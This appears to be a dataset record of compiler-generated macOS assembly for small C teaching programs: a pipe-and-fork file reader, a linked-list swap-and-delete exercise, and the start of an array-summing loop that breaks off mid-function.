add x1, sp, #40
bl _write
b LBB2_3
LBB2_6:
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_8
b LBB2_7
LBB2_7:
bl ___stack_chk_fail
LBB2_8:
add sp, sp, #1, lsl #12 ; =4096
add sp, sp, #48
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%s\n"
l_.str.1: ; @.str.1
.asciz "failed to build server side"
l_.str.2: ; @.str.2
.asciz "%s"
l_.str.3: ; @.str.3
.asciz "give me a file path: "
l_.str.4: ; @.str.4
.asciz "get the file path failed"
l_.str.5: ; @.str.5
.asciz "can't open the file, %s\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -28(%rbp)
movl %edi, -32(%rbp)
movq %rsi, -40(%rbp)
leaq -16(%rbp), %rdi
xorl %esi, %esi
movl $8, %edx
callq _memset
leaq -24(%rbp), %rdi
xorl %esi, %esi
movl $8, %edx
callq _memset
leaq -16(%rbp), %rdi
callq _pipe
leaq -24(%rbp), %rdi
callq _pipe
callq _fork
movl %eax, -44(%rbp)
cmpl $0, -44(%rbp)
jge LBB0_2
## %bb.1:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.1(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_2:
xorl %eax, %eax
cmpl -44(%rbp), %eax
jne LBB0_4
## %bb.3:
movl -12(%rbp), %edi
callq _close
movl -24(%rbp), %edi
callq _close
movl -16(%rbp), %edi
movl -20(%rbp), %esi
callq __server
xorl %edi, %edi
callq _exit
LBB0_4:
jmp LBB0_5
LBB0_5:
movl -16(%rbp), %edi
callq _close
movl -20(%rbp), %edi
callq _close
movl -24(%rbp), %edi
movl -12(%rbp), %esi
callq __client
movl -44(%rbp), %edi
xorl %eax, %eax
movl %eax, %esi
xorl %edx, %edx
callq _waitpid
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_7
## %bb.6:
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
LBB0_7:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function _server
__server: ## @_server
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $4144, %eax ## imm = 0x1030
callq ____chkstk_darwin
subq %rax, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -4116(%rbp)
movl %esi, -4120(%rbp)
leaq -4112(%rbp), %rdi
xorl %esi, %esi
movl $4097, %edx ## imm = 0x1001
callq _memset
movl -4116(%rbp), %edi
leaq -4112(%rbp), %rsi
movl $4096, %edx ## imm = 0x1000
callq _read
movq %rax, -4128(%rbp)
cmpq $0, -4128(%rbp)
jg LBB1_2
## %bb.1:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str(%rip), %rsi
leaq L_.str.4(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB1_2:
leaq -4112(%rbp), %rdi
xorl %esi, %esi
movb $0, %al
callq _open
movl %eax, -4132(%rbp)
cmpl $0, -4132(%rbp)
jge LBB1_4
## %bb.3:
callq ___error
movl (%rax), %edi
callq _strerror
movq %rax, %r9
leaq L_.str.5(%rip), %r8
xorl %edx, %edx
movb %dl, %al
leaq -4112(%rbp), %rdi
movq %rdi, -4144(%rbp) ## 8-byte Spill
movl $4097, %ecx ## imm = 0x1001
movq %rcx, %rsi
callq ___snprintf_chk
movq -4144(%rbp), %rsi ## 8-byte Reload
cltq
movq %rax, -4128(%rbp)
movl -4120(%rbp), %edi
movq -4128(%rbp), %rdx
callq _write
movl $1, %edi
callq _exit
LBB1_4:
jmp LBB1_5
LBB1_5: ## =>This Inner Loop Header: Depth=1
movl -4132(%rbp), %edi
leaq -4112(%rbp), %rsi
movl $4097, %edx ## imm = 0x1001
callq _read
movq %rax, -4128(%rbp)
cmpq $0, -4128(%rbp)
jg LBB1_7
## %bb.6:
jmp LBB1_8
LBB1_7: ## in Loop: Header=BB1_5 Depth=1
movl -4120(%rbp), %edi
leaq -4112(%rbp), %rsi
movq -4128(%rbp), %rdx
callq _write
jmp LBB1_5
LBB1_8:
movl -4132(%rbp), %edi
callq _close
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_10
## %bb.9:
addq $4144, %rsp ## imm = 0x1030
popq %rbp
retq
LBB1_10:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function _client
__client: ## @_client
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $4144, %eax ## imm = 0x1030
callq ____chkstk_darwin
subq %rax, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -4116(%rbp)
movl %esi, -4120(%rbp)
leaq -4112(%rbp), %rdi
xorl %esi, %esi
movl $4096, %edx ## imm = 0x1000
callq _memset
movq $0, -4128(%rbp)
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.3(%rip), %rdx
movb $0, %al
callq _fprintf
leaq -4112(%rbp), %rdi
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rdx
movl $4096, %esi ## imm = 0x1000
callq _fgets
leaq -4112(%rbp), %rdi
callq _strlen
movq %rax, -4128(%rbp)
movq -4128(%rbp), %rax
subq $1, %rax
movsbl -4112(%rbp,%rax), %ecx
movl $10, %eax
cmpl %ecx, %eax
jne LBB2_2
## %bb.1:
movq -4128(%rbp), %rax
addq $-1, %rax
movq %rax, -4128(%rbp)
LBB2_2:
movl -4120(%rbp), %edi
leaq -4112(%rbp), %rsi
movq -4128(%rbp), %rdx
callq _write
movq $0, -4136(%rbp)
LBB2_3: ## =>This Inner Loop Header: Depth=1
movl -4116(%rbp), %edi
leaq -4112(%rbp), %rsi
movl $4096, %edx ## imm = 0x1000
callq _read
movq %rax, -4136(%rbp)
cmpq $0, -4136(%rbp)
jg LBB2_5
## %bb.4:
jmp LBB2_6
LBB2_5: ## in Loop: Header=BB2_3 Depth=1
leaq -4112(%rbp), %rsi
movq -4136(%rbp), %rdx
movl $1, %edi
callq _write
jmp LBB2_3
LBB2_6:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB2_8
## %bb.7:
addq $4144, %rsp ## imm = 0x1030
popq %rbp
retq
LBB2_8:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%s\n"
L_.str.1: ## @.str.1
.asciz "failed to build server side"
L_.str.2: ## @.str.2
.asciz "%s"
L_.str.3: ## @.str.3
.asciz "give me a file path: "
L_.str.4: ## @.str.4
.asciz "get the file path failed"
L_.str.5: ## @.str.5
.asciz "can't open the file, %s\n"
.subsections_via_symbols
| the_stack_data/371251.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov w0, #10
bl _insert
mov w0, #20
bl _insert
mov w0, #30
bl _insert
mov w0, #40
bl _insert
mov w0, #50
bl _insert
mov w0, #60
bl _insert
bl _display
bl _swap
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
bl _display
bl _delete
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
bl _display
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _insert ; -- Begin function insert
.p2align 2
_insert: ; @insert
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
mov x0, #16
bl _malloc
str x0, [sp, #16]
adrp x8, _head@PAGE
ldr x8, [x8, _head@PAGEOFF]
str x8, [sp, #8]
ldur w8, [x29, #-4]
ldr x9, [sp, #16]
str w8, [x9]
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldr x8, [sp, #16]
adrp x9, _head@PAGE
str x8, [x9, _head@PAGEOFF]
ldr x8, [sp, #16]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
b LBB1_6
LBB1_2:
b LBB1_3
LBB1_3: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_3 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB1_3
LBB1_5:
ldr x8, [sp, #16]
ldr x9, [sp, #8]
str x8, [x9, #8]
ldr x8, [sp, #16]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
b LBB1_6
LBB1_6:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _display ; -- Begin function display
.p2align 2
_display: ; @display
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _head@PAGE
ldr x8, [x8, _head@PAGEOFF]
str x8, [sp, #8]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB2_3
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #8]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB2_1
LBB2_3:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _swap ; -- Begin function swap
.p2align 2
_swap: ; @swap
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
; kill: def $x8 killed $xzr
stur xzr, [x29, #-24]
stur xzr, [x29, #-32]
adrp x8, _head@PAGE
ldr x9, [x8, _head@PAGEOFF]
stur x9, [x29, #-8]
ldr x8, [x8, _head@PAGEOFF]
stur x8, [x29, #-16]
str xzr, [sp, #40]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #36
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
str x0, [sp, #24] ; 8-byte Folded Spill
bl _scanf
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
ldr x0, [sp, #24] ; 8-byte Folded Reload
mov x9, sp
add x8, sp, #32
str x8, [x9]
bl _scanf
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-8]
subs x8, x8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #20] ; 4-byte Folded Spill
tbnz w8, #0, LBB3_3
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldur x8, [x29, #-8]
ldr w8, [x8]
ldr w9, [sp, #36]
subs w8, w8, w9
cset w8, ne
str w8, [sp, #20] ; 4-byte Folded Spill
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #20] ; 4-byte Folded Reload
tbz w8, #0, LBB3_5
b LBB3_4
LBB3_4: ; in Loop: Header=BB3_1 Depth=1
ldur x8, [x29, #-8]
stur x8, [x29, #-24]
ldur x8, [x29, #-8]
ldr x8, [x8, #8]
stur x8, [x29, #-8]
b LBB3_1
LBB3_5:
b LBB3_6
LBB3_6: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-16]
subs x8, x8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #16] ; 4-byte Folded Spill
tbnz w8, #0, LBB3_8
b LBB3_7
LBB3_7: ; in Loop: Header=BB3_6 Depth=1
ldur x8, [x29, #-16]
ldr w8, [x8]
ldr w9, [sp, #32]
subs w8, w8, w9
cset w8, ne
str w8, [sp, #16] ; 4-byte Folded Spill
b LBB3_8
LBB3_8: ; in Loop: Header=BB3_6 Depth=1
ldr w8, [sp, #16] ; 4-byte Folded Reload
tbz w8, #0, LBB3_10
b LBB3_9
LBB3_9: ; in Loop: Header=BB3_6 Depth=1
ldur x8, [x29, #-16]
stur x8, [x29, #-32]
ldur x8, [x29, #-16]
ldr x8, [x8, #8]
stur x8, [x29, #-16]
b LBB3_6
LBB3_10:
ldur x8, [x29, #-8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB3_19
b LBB3_11
LBB3_11:
ldur x8, [x29, #-16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB3_19
b LBB3_12
LBB3_12:
ldur x8, [x29, #-24]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB3_14
b LBB3_13
LBB3_13:
ldur x8, [x29, #-16]
ldur x9, [x29, #-24]
str x8, [x9, #8]
b LBB3_15
LBB3_14:
ldur x8, [x29, #-16]
adrp x9, _head@PAGE
str x8, [x9, _head@PAGEOFF]
b LBB3_15
LBB3_15:
ldur x8, [x29, #-32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB3_17
b LBB3_16
LBB3_16:
ldur x8, [x29, #-8]
ldur x9, [x29, #-32]
str x8, [x9, #8]
b LBB3_18
LBB3_17:
ldur x8, [x29, #-8]
adrp x9, _head@PAGE
str x8, [x9, _head@PAGEOFF]
b LBB3_18
LBB3_18:
ldur x8, [x29, #-8]
ldr x8, [x8, #8]
str x8, [sp, #40]
ldur x8, [x29, #-16]
ldr x8, [x8, #8]
ldur x9, [x29, #-8]
str x8, [x9, #8]
ldr x8, [sp, #40]
ldur x9, [x29, #-16]
str x8, [x9, #8]
b LBB3_19
LBB3_19:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _delete ; -- Begin function delete
.p2align 2
_delete: ; @delete
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x9, _head@PAGE
str x9, [sp, #8] ; 8-byte Folded Spill
ldr x8, [x9, _head@PAGEOFF]
stur x8, [x29, #-8]
ldr x8, [x9, _head@PAGEOFF]
ldr x8, [x8, #8]
str x8, [x9, _head@PAGEOFF]
ldur x0, [x29, #-8]
bl _free
ldr x8, [sp, #8] ; 8-byte Folded Reload
; kill: def $x9 killed $xzr
str xzr, [sp, #16]
ldr x8, [x8, _head@PAGEOFF]
stur x8, [x29, #-8]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-8]
subs x8, x8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB4_3
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, ne
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB4_3
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldr w8, [sp, #4] ; 4-byte Folded Reload
tbz w8, #0, LBB4_5
b LBB4_4
LBB4_4: ; in Loop: Header=BB4_1 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #8]
str x8, [sp, #16]
ldur x8, [x29, #-8]
ldr x8, [x8, #8]
ldr x8, [x8, #8]
ldur x9, [x29, #-8]
str x8, [x9, #8]
ldur x8, [x29, #-8]
ldr x8, [x8, #8]
stur x8, [x29, #-8]
ldr x0, [sp, #16]
bl _free
b LBB4_1
LBB4_5:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _head ; @head
.zerofill __DATA,__common,_head,8,3
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Nodes after swapping: \n"
l_.str.1: ; @.str.1
.asciz "Nodes after deletion of alternate nodes:\n "
l_.str.2: ; @.str.2
.asciz "%d\t"
l_.str.3: ; @.str.3
.asciz "\n"
l_.str.4: ; @.str.4
.asciz "Enter the first element to swap: "
l_.str.5: ; @.str.5
.asciz "%d"
l_.str.6: ; @.str.6
.asciz "Enter the second element to swap: "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $10, %edi
callq _insert
movl $20, %edi
callq _insert
movl $30, %edi
callq _insert
movl $40, %edi
callq _insert
movl $50, %edi
callq _insert
movl $60, %edi
callq _insert
callq _display
callq _swap
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
callq _display
callq _delete
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
callq _display
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _insert ## -- Begin function insert
.p2align 4, 0x90
_insert: ## @insert
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl $16, %edi
callq _malloc
movq %rax, -16(%rbp)
movq _head(%rip), %rax
movq %rax, -24(%rbp)
movl -4(%rbp), %ecx
movq -16(%rbp), %rax
movl %ecx, (%rax)
cmpq $0, -24(%rbp)
jne LBB1_2
## %bb.1:
movq -16(%rbp), %rax
movq %rax, _head(%rip)
movq -16(%rbp), %rax
movq $0, 8(%rax)
jmp LBB1_6
LBB1_2:
jmp LBB1_3
LBB1_3: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq $0, 8(%rax)
je LBB1_5
## %bb.4: ## in Loop: Header=BB1_3 Depth=1
movq -24(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB1_3
LBB1_5:
movq -16(%rbp), %rcx
movq -24(%rbp), %rax
movq %rcx, 8(%rax)
movq -16(%rbp), %rax
movq $0, 8(%rax)
LBB1_6:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _display ## -- Begin function display
.p2align 4, 0x90
_display: ## @display
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq _head(%rip), %rax
movq %rax, -8(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -8(%rbp)
je LBB2_3
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -8(%rbp), %rax
movl (%rax), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -8(%rbp)
jmp LBB2_1
LBB2_3:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _swap ## -- Begin function swap
.p2align 4, 0x90
_swap: ## @swap
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq $0, -24(%rbp)
movq $0, -32(%rbp)
movq _head(%rip), %rax
movq %rax, -8(%rbp)
movq _head(%rip), %rax
movq %rax, -16(%rbp)
movq $0, -40(%rbp)
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.5(%rip), %rdi
leaq -44(%rbp), %rsi
movb $0, %al
callq _scanf
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.5(%rip), %rdi
leaq -48(%rbp), %rsi
movb $0, %al
callq _scanf
LBB3_1: ## =>This Inner Loop Header: Depth=1
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq $0, -8(%rbp)
movb %al, -49(%rbp) ## 1-byte Spill
je LBB3_3
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movq -8(%rbp), %rax
movl (%rax), %eax
cmpl -44(%rbp), %eax
setne %al
movb %al, -49(%rbp) ## 1-byte Spill
LBB3_3: ## in Loop: Header=BB3_1 Depth=1
movb -49(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB3_4
jmp LBB3_5
LBB3_4: ## in Loop: Header=BB3_1 Depth=1
movq -8(%rbp), %rax
movq %rax, -24(%rbp)
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -8(%rbp)
jmp LBB3_1
LBB3_5:
jmp LBB3_6
LBB3_6: ## =>This Inner Loop Header: Depth=1
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq $0, -16(%rbp)
movb %al, -50(%rbp) ## 1-byte Spill
je LBB3_8
## %bb.7: ## in Loop: Header=BB3_6 Depth=1
movq -16(%rbp), %rax
movl (%rax), %eax
cmpl -48(%rbp), %eax
setne %al
movb %al, -50(%rbp) ## 1-byte Spill
LBB3_8: ## in Loop: Header=BB3_6 Depth=1
movb -50(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB3_9
jmp LBB3_10
LBB3_9: ## in Loop: Header=BB3_6 Depth=1
movq -16(%rbp), %rax
movq %rax, -32(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -16(%rbp)
jmp LBB3_6
LBB3_10:
cmpq $0, -8(%rbp)
je LBB3_19
## %bb.11:
cmpq $0, -16(%rbp)
je LBB3_19
## %bb.12:
cmpq $0, -24(%rbp)
je LBB3_14
## %bb.13:
movq -16(%rbp), %rcx
movq -24(%rbp), %rax
movq %rcx, 8(%rax)
jmp LBB3_15
LBB3_14:
movq -16(%rbp), %rax
movq %rax, _head(%rip)
LBB3_15:
cmpq $0, -32(%rbp)
je LBB3_17
## %bb.16:
movq -8(%rbp), %rcx
movq -32(%rbp), %rax
movq %rcx, 8(%rax)
jmp LBB3_18
LBB3_17:
movq -8(%rbp), %rax
movq %rax, _head(%rip)
LBB3_18:
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -40(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rcx
movq -8(%rbp), %rax
movq %rcx, 8(%rax)
movq -40(%rbp), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
LBB3_19:
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _delete ## -- Begin function delete
.p2align 4, 0x90
_delete: ## @delete
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq _head(%rip), %rax
movq %rax, -8(%rbp)
movq _head(%rip), %rax
movq 8(%rax), %rax
movq %rax, _head(%rip)
movq -8(%rbp), %rdi
callq _free
movq $0, -16(%rbp)
movq _head(%rip), %rax
movq %rax, -8(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq $0, -8(%rbp)
movb %al, -17(%rbp) ## 1-byte Spill
je LBB4_3
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movq -8(%rbp), %rax
cmpq $0, 8(%rax)
setne %al
movb %al, -17(%rbp) ## 1-byte Spill
LBB4_3: ## in Loop: Header=BB4_1 Depth=1
movb -17(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB4_4
jmp LBB4_5
LBB4_4: ## in Loop: Header=BB4_1 Depth=1
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -16(%rbp)
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq 8(%rax), %rcx
movq -8(%rbp), %rax
movq %rcx, 8(%rax)
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -8(%rbp)
movq -16(%rbp), %rdi
callq _free
jmp LBB4_1
LBB4_5:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _head ## @head
.zerofill __DATA,__common,_head,8,3
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Nodes after swapping: \n"
L_.str.1: ## @.str.1
.asciz "Nodes after deletion of alternate nodes:\n "
L_.str.2: ## @.str.2
.asciz "%d\t"
L_.str.3: ## @.str.3
.asciz "\n"
L_.str.4: ## @.str.4
.asciz "Enter the first element to swap: "
L_.str.5: ## @.str.5
.asciz "%d"
L_.str.6: ## @.str.6
.asciz "Enter the second element to swap: "
.subsections_via_symbols
| the_stack_data/116745.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #464
.cfi_def_cfa_offset 464
stp x28, x27, [sp, #432] ; 16-byte Folded Spill
stp x29, x30, [sp, #448] ; 16-byte Folded Spill
add x29, sp, #448
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #20]
str wzr, [sp, #12]
str wzr, [sp, #16]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #16]
ldrsw x10, [sp, #16]
add x9, sp, #24
str w8, [x9, x10, lsl #2]
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_1
LBB0_4:
str wzr, [sp, #16]
b LBB0_5
LBB0_5: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=1
ldrsw x9, [sp, #16]
add x8, sp, #24
ldr w9, [x8, x9, lsl #2]
ldr w8, [sp, #12]
add w8, w8, w9
str w8, [sp, #12]
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_5 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_5
LBB0_8:
str wzr, [sp, #16]
b LBB0_9
LBB0_9: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB0_12
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_9 Depth=1
ldrsw x9, [sp, #16]
add x8, sp, #24
ldr w9, [x8, x9, lsl #2]
ldr w8, [sp, #12]
add w8, w8, w9
str w8, [sp, #12]
b LBB0_11
